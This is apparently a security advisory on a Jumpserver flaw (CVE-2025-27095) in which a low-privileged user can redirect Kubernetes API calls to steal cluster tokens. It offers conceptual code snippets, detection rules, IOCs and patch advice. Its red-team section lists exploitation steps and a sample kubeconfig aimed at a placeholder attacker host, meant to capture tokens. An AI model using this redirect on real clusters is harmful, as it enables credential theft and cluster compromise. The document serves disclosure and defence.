CVE-2025-27095

Executive Summary

CVE-2025-27095 is a medium-severity vulnerability in Jumpserver, an open-source bastion host and operation and maintenance security audit system. An attacker with a low-privileged account can exploit the Kubernetes session feature to manipulate the kubeconfig file, redirecting API requests to an attacker-controlled external server. This allows the attacker to intercept and capture the Kubernetes cluster token, potentially leading to unauthorized access to the cluster and compromise of its security. The vulnerability is fixed in Jumpserver versions 4.8.0 and 3.10.18.

CVSS Breakdown & Threat Level

• CVSS Score: 4.3 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: Low (C:L)
• Integrity Impact: None (I:N)
• Availability Impact: None (A:N)

The low CVSS score reflects the requirement for a low-privileged account and the limited direct impact on integrity and availability. However, the potential for token theft and subsequent cluster compromise elevates the real-world risk.

Deep Dive & Mechanics

The vulnerability resides in Jumpserver's Kubernetes session feature, which allows users to manage Kubernetes clusters through the bastion host. The feature handles kubeconfig files, which contain cluster connection details and authentication tokens.

An attacker with a low-privileged account can manipulate the kubeconfig file within a Kubernetes session. By altering the server endpoint in the kubeconfig to point to an attacker-controlled external server, the attacker can redirect API requests intended for the legitimate Kubernetes cluster. When the Jumpserver system or another user initiates a Kubernetes API call using the compromised kubeconfig, the request is sent to the attacker's server. The attacker can then capture the Kubernetes cluster token included in the request, gaining unauthorized access to the cluster.

The root cause is insufficient validation of the kubeconfig file content, allowing an attacker to modify the server endpoint without proper authorization checks.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual): The vulnerable code likely lacks validation of the kubeconfig server endpoint, allowing any user to modify it.

# Vulnerable: No validation of kubeconfig server endpoint
def create_kube_session(user, kubeconfig):
    # Directly use kubeconfig without validation
    session = KubernetesSession(kubeconfig)
    return session

Patched Code (Conceptual): The patched code validates the kubeconfig server endpoint against a whitelist of allowed clusters or enforces that the endpoint cannot be changed by low-privileged users.

# Patched: Validate kubeconfig server endpoint
def create_kube_session(user, kubeconfig):
    allowed_clusters = get_allowed_clusters(user)
    if kubeconfig['clusters'][0]['cluster']['server'] not in allowed_clusters:
        raise PermissionError("Invalid cluster endpoint")
    session = KubernetesSession(kubeconfig)
    return session

Exploitation & Lab Setup

Red Team

Prerequisites:

• A low-privileged Jumpserver account.
• Access to the Kubernetes session feature.
• An attacker-controlled external server to receive redirected requests.

Exploitation Steps:

1. Log in to Jumpserver with the low-privileged account.
2. Create or modify a Kubernetes session.
3. Edit the kubeconfig file to change the server endpoint to the attacker's server (e.g., https://attacker-controlled.com).
4. Initiate a Kubernetes API request through the session (e.g., kubectl get pods).
5. The request is redirected to the attacker's server, which captures the Kubernetes cluster token.

Example kubeconfig manipulation:

apiVersion: v1
kind: Config
clusters:
- cluster:
    server: https://attacker-controlled.com
  name: compromised-cluster
users:
- name: attacker
  user:
    token: <captured-token>

Blue Team

Detection:

• Monitor for unusual changes to kubeconfig files within Jumpserver sessions.
• Alert on Kubernetes API requests to unexpected external endpoints.
• Review Jumpserver audit logs for modifications to Kubernetes session configurations.

Prevention:

• Apply the patch by upgrading to Jumpserver 4.8.0 or 3.10.18.
• Restrict access to the Kubernetes session feature to only trusted users.
• Implement network segmentation to prevent Jumpserver from reaching external servers.

Indicators of Compromise (IOCs)

• Network: Outbound connections from Jumpserver to unexpected external IP addresses or domains on port 443 or 6443.
• Logs: Jumpserver audit logs showing modification of kubeconfig server endpoints.
• Files: Kubeconfig files with server endpoints pointing to external, non-corporate domains.
• Behavior: Kubernetes API requests from Jumpserver to unknown servers.

Detection Engineering

YARA Rule

rule CVE_2025_27095_Kubeconfig_Manipulation {
    meta:
        description = "Detects manipulated kubeconfig files with external server endpoints"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-27095"
    strings:
        $server = /server:\s*https?:\/\/[^\/]+\.[^\/]+/ nocase
        $external_domain = /server:\s*https?:\/\/(?!.*\.(local|internal|cluster\.local))/ nocase
    condition:
        $server and $external_domain
}

Sigma Rule

title: CVE-2025-27095 - Kubeconfig Server Endpoint Manipulation
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects modification of kubeconfig server endpoint to external domains in Jumpserver
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-27095
logsource:
    product: jumpserver
    service: audit
detection:
    selection:
        EventID: 1001  # Example event ID for kubeconfig modification
        ObjectName: 'kubeconfig'
        NewValue|contains: 'server: https://'
        NewValue|contains|re: 'https?:\/\/(?!.*\.(local|internal|cluster\.local))'
    condition: selection
falsepositives:
    - Legitimate use of external Kubernetes clusters
level: medium

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET 443 (msg:"CVE-2025-27095 - Potential Kubeconfig Token Exfiltration"; flow:to_server; content:"Authorization"; nocase; content:"Bearer"; distance:0; within:100; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Jumpserver to version 4.8.0 or 3.10.18.
2. If immediate upgrade is not possible, disable the Kubernetes session feature for low-privileged users.
3. Review and rotate all Kubernetes cluster tokens that may have been exposed.

Long-term Measures:

• Implement strict validation of kubeconfig files within Jumpserver.
• Enforce network policies to restrict Jumpserver outbound connections.
• Regularly audit Jumpserver configurations and user permissions.
• Monitor for anomalous Kubernetes API requests.

Workarounds:

• Restrict access to the Kubernetes session feature using Jumpserver's role-based access control (RBAC).
• Use network firewalls to block outbound connections from Jumpserver to unknown external IPs.

Valters IT
DevSecOps & Cyber Threat Intelligence